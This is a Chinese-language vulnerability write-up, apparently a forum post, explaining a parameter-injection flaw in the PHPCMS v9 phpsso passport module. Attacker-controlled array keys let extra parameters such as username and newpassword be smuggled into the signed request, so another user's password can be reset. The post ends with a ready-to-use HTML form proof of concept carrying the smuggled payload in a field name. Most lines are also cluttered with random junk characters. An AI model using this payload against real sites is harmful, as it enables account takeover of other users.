提到的通行证的代码:
4 ]- I R B$ K/ t
! h& r/ x" `& C: N L9 K* j i. U' ?" _# X& j' }
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);. g9 B m! |4 m" l8 \: `6 s$ n
! L8 ^7 s' o+ S/ {& }8 f% {在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
3 \9 n/ _* N; M( S0 j* P
+ S. r/ _ Z9 C& b. \我把它留给了你们。8 H6 a2 t$ @2 O# [' o- [
不知道你们发现了它没有。& t' t: o& N9 X" [- P* q
" K0 M/ R5 g+ s我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。8 M( F6 _7 [- h5 k0 O" E; X- i
) Q' w0 s" E& q. `- R( I( l5 |
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
! u0 K* V' `4 W% p9 B, B- r8 ^% \9 k% A. j
也就是
1 ~; `+ N6 _& w; W+ ?5 T& _
- d8 b6 W" M3 D* E9 Dusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
, H( T( k* }( m; M2 N2 b
1 G2 H, J- x" _& l要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。# L3 F* J2 p m( J3 z$ F3 @$ {
0 l% Y7 x. p8 F
9 i7 n" K/ L4 n8 C4 h! H/ b
其实我们有这样的机会,看看代码,如下:& g g( r& e1 J1 w+ B; X% [
. m) `" G. C' E$ H& P+ k. p
' x- j! t3 A9 ]public function auth_data($data) {- B% Q/ d) w# N5 Z" z: K
$s = $sep = '';- J# ~; ]# }, ^: I
foreach($data as $k => $v) {% U# B/ X- r, K, q
if(is_array($v)) {. c" |4 E0 d/ \( D
$s2 = $sep2 = '';
J/ n3 P+ w7 c: Y/ d foreach($v as $k2 => $v2) {
, s7 f# C1 s9 D2 y $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);0 {* e% V4 h' d9 G- y" a% t
$sep2 = '&';
/ Z; l& L$ W4 m4 S$ n! } }
% _3 E9 M4 E. h: ^' V $s .= $sep.$s2;
, h, G$ y: [' } } else {2 D) x3 C* L- X; \
$s .= "$sep$k=".$this->_ps_stripslashes($v);9 k8 [, W1 F3 c
} Q; `% R+ t# ^- a0 L
$sep = '&';
- k4 ?0 E0 z- @8 E$ W0 z u4 L }
: H9 p' v4 c$ y1 m2 H
- P& J' v% K2 W $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));& M, M# L% @: [8 s5 y2 h0 b
return $auth_s;
+ |8 |/ @0 s9 Z ] }
" `. \2 F% M2 g% @0 e6 B; ^5 W
) T, o: j* U$ u/ N: k j. ~' X可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
6 W, F- t4 s* i5 x2 L+ E3 X1 ]0 Y1 p# w( W2 q+ A
举个例子
; G: K$ L# \( K& M/ c! a! v9 w
$a[aaa=a&bbb] = 'a';3 E' ]3 W8 F- m* P9 @
) X& N& D% x2 C# C- }
会变成aaa=a&bbb=a W4 _' s3 M8 I ?% c% l3 k
. S- ]2 ]3 J @. [! o! J
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
9 ^ ^' [# l" e+ k4 W& U* H" L7 m4 |; P* u- }2 B3 s$ `3 u
这个时候,我们可以再去看一个函数。
8 b& e$ q' n/ j& {' M: t
5 h9 `* q5 S' L* F: S2 {就在这个文件内:, |6 N1 I) d# Y8 b1 f4 H2 P; P' Z
: J& B3 _9 P% A9 v- I
8 G3 T: a1 w- w! b6 @, Fpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
4 n$ D( D3 h7 ~& ~2 J) z if($email && !$this->_is_email($email)) {3 W. ~9 J+ {5 v/ ^% b; y) d
return -4;
7 t& q6 x3 T- T, I; k. b }
1 o, p+ }. J, k5 a. f return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
( U4 ?. i- S( Q8 A. h3 C1 c1 @/ | }
4 x! i* d2 S7 w6 h. q* y+ ?5 n: N k7 W
这是向通行证发了这样一个请求。4 h' T1 z4 f+ h, Z j. z5 j9 `
b, ^4 M/ [ E. [- z0 I
我们再跟到通信证代码里去看看,就会有所发现。
# P) j! {' b. R0 a6 a
6 {5 B5 g% d7 n( C/ |3 \, x6 Q/ {: i
public function edit() {/ S: _7 U! g8 T3 }/ w
//能省就省,太长了不是吗?
1 q3 _8 H$ _6 j6 m. e3 r$ d, m" h/ H
* n2 ?: m1 k a4 m' Tif($this->username) {
' u: M- n; b8 F) m- E//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。0 b2 n. u) h: o+ ]
$res = $this->db->update($data, array('username'=>$this->username));) T7 q6 K/ o c v* G9 K# a
} else {
) j( z+ i% n6 ~3 U file_put_contents('typeb.txt',print_r($data,1).$this->uid);2 o3 x4 z* h$ r5 L
$res = $this->db->update($data, array('uid'=>$this->uid));( m! k5 S- R5 t/ t' x- N/ S" v3 e$ x
}- T! E' A+ d" b! b& p3 c z
9 T1 n# ~9 x# n p' Y ]& m, D
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:! S9 `0 ]* h0 U9 T8 x! q
1 v+ Q4 L: p- m; Mpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''). D+ r) Y! {& Y% K. H' U9 l3 K
4 u% Y' c0 y3 Z3 f# k" S ^很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
( u/ o1 h$ p8 @5 {. n- n5 p4 `
7 M' t; K$ }" ]0 E- o# j' [我当然找到了:
7 ^9 V" Z; {1 r' V, Q( lphpcms9/phpcms/modules/member/index.php
- Q% |; M1 }" @
2 r3 D, j4 l4 i; K1 m$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
% S. _$ i$ p, K6 J0 Q" q/ F" A+ G' ]6 Z/ o6 }: w& M9 e( n
然后就没有然后了。0 t) s @+ d9 I1 o6 s
4 ]/ z+ z( d% z, R0 `
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">, O' Q1 B% H" c2 C: x" m9 ]
<table width="100%" cellspacing="0" class="table_form">
1 r% I6 ` O; H5 X <tr>
; q$ \4 o1 S+ R2 `! ~8 `1 w <th width="80">邮箱:</th> 8 \ K- Y- ^9 Z5 W; [, p% Q9 s
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
; [1 ~" n% A3 e( z9 Y5 K: h/ W </tr>
3 F4 M+ `; w- V0 X <tr>2 J: ^* P8 ^: l" I7 X% [
<th width="80">原密码:</th>
O+ P9 o+ g0 N% B4 d9 c. N+ r <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>$ S! ?! p6 K/ @& \% a; w
</tr>- z" ]/ o, A2 i* _
<tr>
; n0 i) Z9 D$ V2 G- |# C8 b <th>新密码:</th>: b' i" p( A! T, X0 ?
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>; A+ f5 k! e" P5 t
</tr>
6 \* a2 m; Z0 ^ <th></th>0 g' n C1 t2 a+ `( f
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
8 I6 F Z& U8 x' b' H </tr>; C9 j: n* |+ Y$ d$ u. {
</table>
, i; w! v( z/ ~# X: n+ d; b- [; Q
# m$ r: x7 A6 \( B7 w, b
8 `4 ?+ q) `# K& a) n% Y$ O; Y. \% A </form>4 Y2 o, S( C( w) W6 u8 c! T
|